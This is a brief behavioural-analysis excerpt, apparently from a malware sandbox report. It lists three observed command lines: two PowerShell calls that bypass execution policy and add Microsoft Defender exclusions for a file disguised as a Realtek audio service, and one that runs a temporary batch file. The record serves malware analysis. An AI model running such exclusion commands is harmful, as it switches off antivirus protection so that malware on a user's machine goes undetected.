Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Roaming\RtkAudUService64.exe'

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RtkAudUService64.exe'

cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\tmpE2C5.tmp.bat""